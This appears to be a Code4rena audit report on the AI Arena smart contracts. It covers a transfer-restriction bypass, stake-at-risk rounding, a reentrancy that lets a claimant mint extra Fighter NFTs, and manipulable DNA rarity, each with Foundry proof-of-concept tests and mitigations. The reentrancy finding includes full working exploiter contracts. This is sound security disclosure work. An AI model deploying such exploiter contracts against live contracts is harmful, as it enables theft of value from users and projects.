AI Arena - 0xBinChook's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L10-L11 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L289-L303

Vulnerability details

Impact

A configurable GameItems token type can be non-transferable, where the token must be bound to the address that received it when minted.

GameItems are ERC1155 that in addition to supporting a single transfer, also support batch transfer.

Transferring a single GameItems token applies the non-transferable restriction, while a batch transfer GameItems bypasses the non-transferable restriction.

This happens every time with a batch transfer (a single token can be transferred using batch transfer), breaking the non-transferable invariant.

Proof of Concept

Non-transferable invariant

The non-transferable invariant is inferred by the GameItemAttributes having a property transferable, which is also applied during single transfers in src/GameItems.sol

    /// @notice Safely transfers an NFT from one address to another.
    /// @dev Added a check to see if the game item is transferable.
    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

Summary: only when a GameItems token has GameItemAttributes.transferable of true is it allowed to be transferred.

EIP-1155 Batch Transfer

Batch Transfers are part of EIP-1155

The safeBatchTransferFrom function allows for batch transfers of multiple token IDs and values. The design of ERC-1155 makes batch transfers possible without the need for a wrapper contract, as with existing token standards. This reduces gas costs when more than one token type is included in a batch transfer, as compared to single transfers with multiple transactions.

Test Cases

The two tests show the divergent behaviours given the same non-transferable GameItems token transfer:

• safeTransferFrom reverts
• safeBatchTransferFrom performs the transfer

Add the tests to test/GameItems.t.sol and run with forge test --match-test test_nonTransferable_safeTransfer

    function test_nonTransferable_safeTransferFrom() external {
        uint tokenId = _create_heroicPowerUp();
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(tokenId, 1);

        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, tokenId, 1, "");
    }

    function test_nonTransferable_safeTransferBatchFrom() external {
        uint tokenId = _create_heroicPowerUp();
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(tokenId, 1);

        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS,_asArray(tokenId) , _asArray(1), "");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, tokenId), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, tokenId), 0);
    }

    /// @dev Create non-transferable GameItem, finite supply of 10, price of 1K whole NRM, daily allowance of 1
    function _create_heroicPowerUp() private returns (uint tokenId) {
        _gameItemsContract.createGameItem("Heroic power up", "https://ipfs.io/ipfs/", true, false, 10, 1_000 * 10 ** 18, 1);
        tokenId = 1;            // tokenId is 1 (0 is `Battery`, the only other GameItem added in setUp())
    }

    function _asArray(uint value) private pure returns (uint[] memory wrapped){
        wrapped = new uint[](1);
        wrapped[0] = value;
    }

Tools Used

Manual review, Foundry test

Recommended Mitigation Steps

Enforce the transferable check for every tokenId in the batch being transferred.

Add the following function to src/GameItems.sol

+    /// @notice Safely transfers an NFT batch from one address to another.
+    /// @dev Added a check to see that all game items are transferable.
+    function safeBatchTransferFrom(
+        address from, 
+        address to, 
+        uint256[] memory tokenIds,
+        uint256[] memory amounts,
+        bytes memory data
+    ) 
+        public 
+        override(ERC1155)
+    {
+        uint256 tokenIdslength = ids.length;
+        for(int i = 0; i < tokenIdslength; i++) {        
+            require(allGameItemAttributes[tokenIds[i]].transferable, "non-transferable");
+        }
+        super.safeBatchTransferFrom(from, to, tokenIds, amounts, data);
+    }

Note

The ERC1155::_beforeTokenTransfer may seem like a convenient place to implement the guard, however being called as part of ERC1155::_mint() that would prevent any non-transferable GameItems from ever being minted.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439-L439

Vulnerability details

Impact

When a Fighter has a zero point balance and looses a battle, it is expected that a portion of their stake is put at risk.

The calculation for the stake at risk uses integer division, where a tiny stake results in a zero amount being risked.

Using a tiny stake, a Player can earn points without ever risking that stake, breaking the expectation.

Proof of Concept

Loss puts stake at risk

The expectation of a zero point balance with a loss putting stake at risk is given by the AI Arena NRN Rewards docs

When a Challenger NFT loses, and has 0 Points in the current Round, a small portion of their stake (not Points) is placed “at risk”. At the end of each Round, the at risk stake is lost permanently. Furthermore, a Challenger NFT cannot earn NRN rewards if they have any stake at risk. Challenger NFTs can regain their at risk stake by winning matches before the end of the Round.

Size of the tiny stake

Calculation of curStakeAtRisk uses integer division in RankedBattle::addResultPoints()

      /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
      curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;

bpsLostPerLoss are basis points (implicit range of 0 - 10,000), with a default value of 10. (amountStaked[tokenId] + stakeAtRisk) the sum of total amount stake this round.

With default value of 10 for bpsLostPerLoss and total stake being totalStake, any stake of 999 MRN or less will result in zero stake at risk.

        curStakeAtRisk = (10 * totalStake) / 10,000
:.      curStakeAtRisk = totalStake / 1,000

bpsLostPerLoss relationship

When bpsLostPerLoss is zero, all stakes (irrespective of size) will put zero stake at risk.

As bpsLostPerLoss increases from zero, the size of the stake that results in zero curStakeAtRisk reduces.

    curStakeAtRisk = (bpsLostPerLoss * totalStake) / 10,000

Test Case

Steps:

1. Stake 999 NRM
2. Loose match (no stake gets place at risk)
3. Win match (gain points)

<details> <summary>Code</summary> Put the test into [test/RankedBattle.t.sol](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/test/RankedBattle.t.sol#L467) Run with `forge test --match-test test_tiny_stake_is_never_atRisk`

    function test_tiny_stake_is_never_atRisk() public {
        uint stake = 999;
        uint zeroStakeAtRisk = 0;
        uint fighterId = 0;
        address player = vm.createWallet("player").addr;

        // Mint Fighter NFT for Player
        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);
        assertEq(_fighterFarmContract.ownerOf(fighterId), player);

        // Player stake NRM on their Fighter
        vm.prank(player);
        _rankedBattleContract.stakeNRN(stake, fighterId);
        assertEq(_rankedBattleContract.amountStaked(fighterId), stake);

        // Fighter looses first battle, but avoid any stakeAtRisk
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, false);
        assertEq(_stakeAtRiskContract.getStakeAtRisk(fighterId), zeroStakeAtRisk);
        assertEq(_rankedBattleContract.accumulatedPointsPerFighter(0, fighterId),  0);

        // Fighter wins second battle, gains points
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, false);
        assertEq(_stakeAtRiskContract.getStakeAtRisk(fighterId), zeroStakeAtRisk);
        assertEq(_rankedBattleContract.accumulatedPointsPerFighter(0, fighterId), 750);
    }

</details>

Tools Used

Manual review, Forge test

Recommended Mitigation Steps

Accommodate tiny stakes, in the loosing condition put the outstanding stake at risk when stakeAtRisk is zero in RankedBattle::_addResultPoints()

            /// If the user lost the match

-            /// Do not allow users to lose more NRNs than they have in their staking pool
-            if (curStakeAtRisk > amountStaked[tokenId]) {
+            /// Do not allow users to lose more NRNs than they have in their staking pool, or tiny stakes to split through
+            if (curStakeAtRisk > amountStaked[tokenId] || curStakeAtRisk == 0) {
                curStakeAtRisk = amountStaked[tokenId];
            }

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L148-L163

Vulnerability details

Impact

Every round two Players are chosen as the MergingPool winners. Players use MergingPool::claimRewards() to claim their reward (a minted Fighter NFT). With no time limit on reward claims, a Player can await the accrual of multiple rewards, before claiming.

When a Player has two or more rewards available to claim, and they are a contract not an EoA, they can use ERC721 receiver call to perform reentrancy and due to the logic, mint extra Fighters NFTs (in addition to the reward).

Fighter NFTs derive a large part of their economic value from scarcity, unintended minting will result in the value of all Fighter NFTs being decayed and the economic projections involving the controlled NFT release invalidated.

The number of extra Fighter NFTs gained from the exploit scales exponentially with the number of rewards claimed.

Proof of Concept

The steps for the exploit with two rewards:

1. Await two MergePool wins
2. Claim the two rewards from MergePool
3. On the first IERC721Receiver::onERC721Received(), claim another reward from MergePool
4. Received three Fighter NFTs, instead of the two Fighter NFTs awarded

(Claiming for more than two reward is more complicated due to the maximum Fighter limit per an address, but the principle remains the same)

Claim Rewards

A Player claims their rewards using MergingPool::claimRewards()

(Absent is any reentrancy guard logic)

    function claimRewards(
    string[] calldata modelURIs,
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
)
external
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
                _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }

Round iteration

The start round for the iteration is previous round claimed upto by msg.sender (numRoundsClaimed[msg.sender] a storage variable) and is assigned to currentRound (a memory variable)

    uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {

First in the iteration the claimed round of msg.sender is incremented with numRoundsClaimed[msg.sender]

    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
@>      numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;

ERC721 Reentrancy

When the winning address match is found for the Player (msg.sender), they receive a minted Fighter NFT.

            if (msg.sender == winnerAddresses[currentRound][j]) {
                _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );

FighterFarm implements Open Zeppelin ERC721

    import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
    import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";

    /// @title AI Arena Fighter NFT
    /// @author ArenaX Labs Inc.
    /// @notice This contract manages the creation, ownership, and redemption of AI Arena Fighter NFTs,
    /// including the ability to mint new NFTs from a merging pool or through the redemption of mint passes.
@>  contract FighterFarm is ERC721, ERC721Enumerable {

FighterFarm::mintFromMergingPool() calls the private function FighterFarm::_createNewFighter(), which sets the Fighter attributes then calls ERC721::_safeMint()

    function _safeMint(
        address to,
        uint256 tokenId,
        bytes memory data
    ) internal virtual {
        _mint(to, tokenId);
        require(
            _checkOnERC721Received(address(0), to, tokenId, data),
            "ERC721: transfer to non ERC721Receiver implementer"
        );
    }

When to is a contract, then _checkOnERC721Received calls IERC721Receiver::onERC721Received(), yields control flow to the contract and awaits its response.

Loss of control flow

When the control flow is yielded to the exploiter contract, it calls MergingPool::claimRewards() to begin the reward claim again.

On reentrancy, numRoundsClaimed[msg.sender] has increased to the first prize index, where the reentrancy begins its round iterations.

    uint32 lowerBound = numRoundsClaimed[msg.sender];

The iteration starts and the remaining reward of a Fighter NFT is minted, and after the reentrancy call completes, the exploiter contract returns control.

Regain of control flow

When the exploiter contract returns, the original round iteration continues, currentRound continues its value from before control flow was yielded to the exploiter and another Fighter NFT is minted.

There were two rewards but three have now been claimed.

Isolated execution context

When a contract calls another contract, the EVM creates a new execution context for that call. As the called contract executes in its own execution context, all changes to memory variables (such as currentRound) are limited to that execution context, while storage variables (such as numRoundsClaimed[msg.sender]) affects apply when control flow is yielded back to the caller.

When the exploiter reenters MergingPool::claimRewards(), a new iteration is begun (with one less reward to claim), and mints that number of rewards, irrespective to the sum of already claimed rewards.

Test Case

An exploiter contract and test case that mints three Fighter NFTs from a reward of two Fighter NFTs.

<details> <summary>Code</summary> Create a new file `test/FighterFarmExploiter.sol` with the exploiter contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {MergingPool} from "../src/MergingPool.sol";

/// @dev Minimal exploiter expecting only two rewards to claim
contract FighterFarmExploiter is IERC721Receiver {
    MergingPool private _mergingPool;

    constructor(MergingPool mergingPool){
        _mergingPool = mergingPool;
    }

    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4){
        uint unclaimed = _mergingPool.getUnclaimedRewards(address(this));

        // When claim remain then perform claimRewards reentrancy
        if (unclaimed > 0) {
            uint256[2][] memory customAttributes = new uint256[2][](unclaimed);
            customAttributes[0][0] = uint256(100);
            customAttributes[0][1] = uint256(100);
            string[] memory modelURIs = new string[](1);
            modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
            string[] memory modelTypes = new string[](1);
            modelTypes[0] = "ipfs://original";

            _mergingPool.claimRewards(modelURIs, modelTypes, customAttributes);
        }

        return IERC721Receiver.onERC721Received.selector;
    }
}

Add the following to test/MergingPool.t.sol and run with forge test --match-test test_claimRewards_safeMint_reentrancy

    import {FighterFarmExploiter} from "./FighterFarmExploiter.sol";

    function test_claimRewards_safeMint_reentrancy() public {
    uint rewardCount = 2;
    FighterFarmExploiter exploiterContract = new FighterFarmExploiter(_mergingPoolContract);
    address exploiter = address(exploiterContract);

    // Create the fist two Fighters
    _mintFromMergingPool(exploiter);
    _mintFromMergingPool(_DELEGATED_ADDRESS);
    assertEq(_fighterFarmContract.ownerOf(0), exploiter);
    assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
    assertEq(_fighterFarmContract.totalSupply(), 2);

    // Pick the same winners over two rounds
    uint256[] memory winners = _twoWinners();
    _mergingPoolContract.pickWinner(winners);
    _mergingPoolContract.pickWinner(winners);
    assertEq(_mergingPoolContract.getUnclaimedRewards(exploiter), rewardCount);

    // Exploiter claims the two rewards
    vm.prank(exploiter);
    string[] memory modelURIs = _createModelURIs(rewardCount);
    string[] memory modelTypes = _createModelTypes(rewardCount);
    uint256[2][] memory customAttributes = _createCustomAttributes(rewardCount);
    _mergingPoolContract.claimRewards(modelURIs, modelTypes, customAttributes);
    assertEq(_mergingPoolContract.getUnclaimedRewards(exploiter), 0);

    assertEq(_fighterFarmContract.totalSupply(), 5);
    assertEq(_fighterFarmContract.ownerOf(2), exploiter);
    assertEq(_fighterFarmContract.ownerOf(3), exploiter);
    assertEq(_fighterFarmContract.ownerOf(4), exploiter);
}

    function _createCustomAttributes(uint count) private pure returns (uint256[2][] memory customAttributes){
        customAttributes = new uint256[2][](count);

        for (uint i; i < count; i++) {
            customAttributes[i][0] = uint256(1);
            customAttributes[i][1] = uint256(80);
        }
    }

    function _createModelURIs(uint count) private pure returns (string[] memory modelURIs){
        modelURIs = new string[](count);

        for (uint i; i < count; i++) {
            modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        }
    }

    function _createModelTypes(uint count) private pure returns (string[] memory modelTypes){
        modelTypes = new string[](count);

        for (uint i; i < count; i++) {
            modelTypes[i] = "ipfs://original";
        }
    }

    function _twoWinners() private pure returns (uint256[] memory winners){
        winners = new uint256[](2);
        winners[0] = 0;
        winners[1] = 1;
    }

</details>

Exponential scaling

When the Player has more than two rewards, the number of extra mints possible scales exponentially

The results were generated with the test by changing the rewardCount

<details> <summary>Scaling test code</summary>

Create a new file test/FighterFarmSiphoningExploiter.sol with the siphoning exploiter contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {FighterFarm} from "../src/FighterFarm.sol";

/**
 *  Reentrancy exploiter that transfers Fighters to siphon accounts to keep the winning account below the Fighter limit
  *  and maximum the number of free Fighters.
 */
contract FighterFarmSiphoningExploiter is IERC721Receiver, Ownable {

    address[] private _siphonAccounts;
    bool private _enableExploit;
    FighterFarm private _fighterFarm;
    MergingPool private _mergingPool;

    constructor(FighterFarm fighterFarm, MergingPool mergingPool){
        _fighterFarm = fighterFarm;
        _mergingPool = mergingPool;
    }

    function onERC721Received(address, address, uint256 tokenId, bytes calldata) external returns (bytes4){
        uint unclaimed = _mergingPool.getUnclaimedRewards(address(this));

        if (_enableExploit) {
            _siphonFighter(tokenId);

            // As long as there are still claims we reenter (all subsequent claims are claimed again)
            if (unclaimed > 0) {
                _claimRewards(unclaimed);
            }
        }

        return IERC721Receiver.onERC721Received.selector;
    }

    function setSiphonAccounts(address[] calldata siphonAccounts) public onlyOwner {
        _siphonAccounts = siphonAccounts;
    }

    function setEnableExploit(bool enable) public onlyOwner {
        _enableExploit = enable;
    }

    /// @dev Transfer the Fighter to the next siphon account, to keep the exploiter below the Fighter limit
    function _siphonFighter(uint256 tokenId) private {
        address siphon = _siphonAccount();
        if (address(this) != siphon) {
            _fighterFarm.transferFrom(address(this), siphon, tokenId);
        }
    }

    /// @dev Reenter MergingPool::claimRewards() to claim the unclaimed Fighters
    function _claimRewards(uint unclaimed) private {
        uint256[2][] memory attributes = _attributes(unclaimed);
        string[] memory uris = _modelURIs(unclaimed);
        string[] memory types = _modelTypes(unclaimed);

        _mergingPool.claimRewards(uris, types, attributes);
    }

    function _attributes(uint unclaimed) private pure returns (uint256[2][] memory customAttributes){
        customAttributes = new uint256[2][](unclaimed);

        for (uint i; i < unclaimed; i++) {
            customAttributes[i][0] = uint256(100);
            customAttributes[i][1] = uint256(100);
        }
    }

    function _modelURIs(uint unclaimed) private pure returns (string[] memory modelURIs){
        modelURIs = new string[](unclaimed);

        for (uint i; i < unclaimed; i++) {
            modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        }
    }

    function _modelTypes(uint unclaimed) private pure returns (string[] memory modelTypes){
        modelTypes = new string[](unclaimed);

        for (uint i; i < unclaimed; i++) {
            modelTypes[i] = "ipfs://original";
        }
    }

    function _siphonAccount() private view returns (address){
        uint8 maximumFighterCount = _fighterFarm.MAX_FIGHTERS_ALLOWED();
        uint siphonAccountsLength = _siphonAccounts.length;

        for (uint i; i < siphonAccountsLength; i++) {
            if (_fighterFarm.balanceOf(_siphonAccounts[i]) < maximumFighterCount) {
                return _siphonAccounts[i];
            }
        }

        revert("No siphon accounts with spaces for Fighters");
    }
}

Add the following (with the above test code) to test/MergingPool.t.sol Run with forge test --match-test test_claimRewards_safeMint_recursive_reentrancy

    import {FighterFarmSiphoningExploiter} from "./FighterFarmSiphoningExploiter.sol";

    function test_claimRewards_safeMint_recursive_reentrancy() public {
        FighterFarmSiphoningExploiter exploiterContract = new FighterFarmSiphoningExploiter(_fighterFarmContract, _mergingPoolContract);
        address exploiter = address(exploiterContract);
        uint rewardCount = 7;

        address[] memory siphons = new address[](7);
        siphons[0] = vm.createWallet("alice").addr;
        siphons[1] = vm.createWallet("bob").addr;
        siphons[2] = vm.createWallet("charlie").addr;
        siphons[3] = vm.createWallet("derek").addr;
        exploiterContract.setSiphonAccounts(siphons);

        // Create the fist two Fighters
        uint winningFighterCount = 2;
        _mintFromMergingPool(exploiter);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.totalSupply(), winningFighterCount);

        // Enable reentrancy exploit for subsequent minted Fighters
        exploiterContract.setEnableExploit(true);

        // Pick the same winners over the rounds
        uint256[] memory winners = _twoWinners();
        for (uint i; i < rewardCount; i++) {
            _mergingPoolContract.pickWinner(winners);
        }
        assertEq(_mergingPoolContract.getUnclaimedRewards(exploiter), rewardCount);

        // Exploiter claims the two rewards
        _claimRewards(exploiter, rewardCount);

        // Two from setup plus rewardCount are expected, anything above that is from exploit
        assertEq(_fighterFarmContract.totalSupply(), winningFighterCount + rewardCount + 21);
    }

    function _claimRewards(address claimant, uint rewardCount) private {
        vm.prank(claimant);
        string[] memory modelURIs = _createModelURIs(rewardCount);
        string[] memory modelTypes = _createModelTypes(rewardCount);
        uint256[2][] memory customAttributes = _createCustomAttributes(rewardCount);
        _mergingPoolContract.claimRewards(modelURIs, modelTypes, customAttributes);
        assertEq(_mergingPoolContract.getUnclaimedRewards(claimant), 0);
    }

</details>

Tools Used

Manual review, Forge test

Recommended Mitigation Steps

Use a reentrancy guard, such as the Open Zeppelin ReentrancyGuard

In MergingPool::claimRewards()

+ import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

- contract MergingPool {
+ contract MergingPool is ReentrancyGuard {

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
-        external 
+        external nonReentrant

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214-L214 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L324-L324

Vulnerability details

Impact

The physical attributes of Fighter NFTs have rarity, and typically the greater the scarcity, the greater the implied relative value.

FighterFarm has three functions for minting Fighters, and besides the special case for mint passes (that has a limited run), the other function two functions are expected to adhere to the rarities for Fighter physical attributes (using pseudo randomness).

A Player can manipulate the generated value, breaking the randomness invariant, and transitively the scarcity of Fighter physical attributes, by selecting their rarity.

Proof of Concept

The calculation of the physical attribute rarity can be controlled by the Player, by choosing the timing of their Fighter NFT minting to generate the DNA they desire.

Physical attributes have rarity

Each of the Fighter's physical attributes are randomized and has a rarity associated as described in the AI Arena NFT Makeup - The Skin docs

The Skin

The Skin is the outer layer of the NFT, giving it a distinct visual appearance. There are 8 categories of randomized attributes which make up the appearance. Each attribute category has a rarity associated with it.

Categories of Physical Attributes

This DNA sequence is randomly generated off-chain and used to extract the physical attributes. Each generation of fighters has a different set of attributes with a given DNA sequence.

Levels of Rarity

Each physical attribute has a rarity associated with it. There are a total of 4 rarities: Bronze, Silver, Gold, and Diamond.

DNA determines physical attribute rarity

All paths to create a Fighter NFT share the common function FighterFarm::_createNewFighter() that accepts a dna parameter that generate the physical attributes with AiArenaHelper::createPhysicalAttributes() that accepts dna

    function createPhysicalAttributes(
        uint256 dna, 
        uint8 generation, 
        uint8 iconsType, 
        bool dendroidBool
    ) 

Outside the special case of iconsType, dna is used in conjunction with an array of prime numbers to determine rarity

                    uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
                    uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]);

As the elements of attributeToDnaDivisor are known (public data), when you know the dna value, you can calculate the rarity for each of the physical attributes.

Controlling the DNA

In FighterFarm::claimFighters() and FighterFarm::mintFromMergingPool() the same technique is used to calculate dna

            uint256(keccak256(abi.encode(msg.sender, fighters.length))), 

The Player can calculate the dna value and resulting physical rarities off-chain, as all the data is available.

As the Player controls when the mint function is called, they can simply wait on other Players to create Fighters (and increase fighters.length), until the dna value on their mint will create favourable physical attributes.

Tools Used

Manual review

Recommended Mitigation Steps

Ensure consistent Fighter dna by using input that the receiver cannot manipulate.

Add aew mapping for number of mints for a receiver address, and use that total in combination with the receiver address for the dna in FighterFarm

+    /// @notice Mapping to keep track of the number of Fighter mints fromo each address.
+    mapping(address => uint256) public mintedFightersByAddress;

    function claimFighters(
        uint8[2] calldata numToMint,
        bytes calldata signature,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        // @note `nftsClaimed` used as the claim flag
        bytes32 msgHash = bytes32(keccak256(abi.encode(
            msg.sender, 
            numToMint[0], 
            numToMint[1],
            nftsClaimed[msg.sender][0],
            nftsClaimed[msg.sender][1]
        )));
        require(Verification.verify(msgHash, signature, _delegatedAddress));
        uint16 totalToMint = uint16(numToMint[0] + numToMint[1]);
        require(modelHashes.length == totalToMint && modelTypes.length == totalToMint);
        nftsClaimed[msg.sender][0] += numToMint[0];
        nftsClaimed[msg.sender][1] += numToMint[1];
        for (uint16 i = 0; i < totalToMint; i++) {
+           mintedFightersByAddress[to]++;
            _createNewFighter(
                msg.sender, 
-               uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
+               uint256(keccak256(abi.encode(msg.sender, to, mintedFightersByAddress[to]))), 
                modelHashes[i], 
                modelTypes[i],
                i < numToMint[0] ? 0 : 1,
                0,
                [uint256(100), uint256(100)]
            );
        }
    }
    
    function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
        uint256[2] calldata customAttributes
    ) 
        public 
    {
        require(msg.sender == _mergingPoolAddress);
+       mintedFightersByAddress[to]++;
        _createNewFighter(
            to, 
-            uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
+            uint256(keccak256(abi.encode(msg.sender, to, mintedFightersByAddress[to]))), 
            modelHash, 
            modelType,
            0,
            0,
            customAttributes
        );
    }

Assessed type

Other

AI Arena - QA Report

Low Risk

L-1

Consider two-step confirmation for ownership transfer

Ownership and all associated powers can be permanently lost with a copy/paste error or simple typo.

Instances: 7 src/AiArenaHelper.sol src/FighterFarm.sol src/GameItems.sol src/MergingPool.sol src/Neuron.sol src/RankedBattle.sol src/VoltageManager.sol

Recommended Mitigation

Implement a two-step procedure for ownership transfer, where the recipient is set as pending, and must 'accept' the assignment by making an affirmation transaction. An available library implementation is Open Zeppelin's Ownable2Step

L-2

Verification::verify() allows malleable (non-unique) signature

The signature verification used during the FighterFarm::claimFighters allows malleable (non-unique) signatures, as defined by EIP-2.

Recommended Mitigation

Use Open Zeppelin's ECDSA::tryRecover() or replicate the enforcement of signatures being in the lower order.

L-3

Verification::verify() can return true for invalid signatures

The signature verification used during the FighterFarm::claimFighters will allows invalid signatures when FighterFarm::_delegatedAddress is address(0).

As an invalid signature will cause the ecrecover precompile to return address(0), when delegatedAddress is also address(0) it would match, allowing the caller the ability to mint an infinite of FighterFarm NFTs.

Recommended Mitigation

Address zero check in Verification::verify()

        require(signature.length == 65, "invalid signature length");
+       require(signer != address(0), "invalid signer address");

L-4

FighterFarm::_delegatedAddress cannot be updated

Unlike the other members of FighterFarm, _delegatedAddress lacks any setter or instantiate function to update the address.

The uses for _delegatedAddress are setting the tokenURI and signing the messages players send in FighterFarm::claimFighters() to mint Fighter NFTs. If control of the address is compromised, and infinite number of Fighter NFTs could be minted, and despite still controlling the owner address, nothing can be done.

As _delegatedAddress is not immutable, there's a fair chance the setter was simply overlooked.

Recommended Mitigation

Add the setter to FighterFarm

+    function setDelegateAddress(address delegatedAddress) external {
+        require(msg.sender == _ownerAddress);
+        _delegatedAddress = delegatedAddress;
+    }

L-5

Neuron allowance spend during burn is inconsistent with OZ ERC20 being extended

In Neuron::burn() the allowance is always decremented by the amount burnt, while the Open Zeppelin ERC20 spend allowance treats type(uint256).max as unlimited (does not decrement).

The transfer functions of Neuorn will use the OZ behaviour, which is inconsistent with how the burn function will behave.

Recommended Mitigation

Replicate the OZ allowance behaviour in Neuron::burn()

-        uint256 decreasedAllowance = allowance(account, msg.sender) - amount;
        _burn(account, amount);
-        _approve(account, msg.sender, decreasedAllowance);
+   _spendAllowance(account, msg.sender, amount);

L-6

Incrementing roundId in pickWinner allows ending rounds accidentally

In MergingPool::pickWinner() it is assumed the given winners are for the current round, however as the last operation the roundId is incremented. As on every call roundId will be distinct, the check on whether the winners are already for that round will always pass.

If the admin roles submits multiple transactions, although intended for the same round they will all be successfully processed, awarding multiple claims for the same two winners.

Recommended Mitigation

Instead of assuming the winners are for current round, have the Admin explicitly define the round in MergingPool::pickWinner()

-     function pickWinner(uint256[] calldata winners) external {
+     function pickWinner(uint256[] calldata winners, uint winnerRoundId) external {
        require(isAdmin[msg.sender]);
        require(winners.length == winnersPerPeriod, "Incorrect number of winners");
-       require(!isSelectionComplete[roundId], "Winners are already selected");
-       require(!isSelectionComplete[winnerRoundId], "Winners are already selected");

L-7

Players are not allowed to claim only a portion of their rewards

A Player is allowed to choose when they claim their rewards, allowing the potential of winning multiple awards before claiming.

When a Player calls MergingPool::claimRewards() the size of the given array parameters must match the number of all rewards, otherwise the transaction fails with a EVN revert of array out-of-bounds access.

A Player is not allowed to claim only a portion of their rewards, a valid case when the Player is mindful of gas expenditure.

Recommended Mitigation

Add an early exit condition to the loop, to allow partial claim of rewards in MergingPool::claimRewards()

        uint32 lowerBound = numRoundsClaimed[msg.sender];
+       uint rewardsToClaim = modelURIs.length;        
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
+                    
+                    if(claimIndex == rewardsToClaim){
+                       currentRound = roundId;
+                       j = winnersLength;
+                    }
                }
            }
        }

L-8

Inconsistent array lengths unnecessarily penalize the Player

MergingPool::claimRewards() has three arrays parameters, but lack any check to ensure their lengths are the same. When the length of the arrays are inconsistent the transaction will revert (due to array out-of-bounds access),

Although the fault lay with the Player, exiting early will limit the gas penalty (inconvenience) they suffer.

Recommended Mitigation

Require the array parameters to have the same lengths in MergingPool::claimRewards()

    function claimRewards(
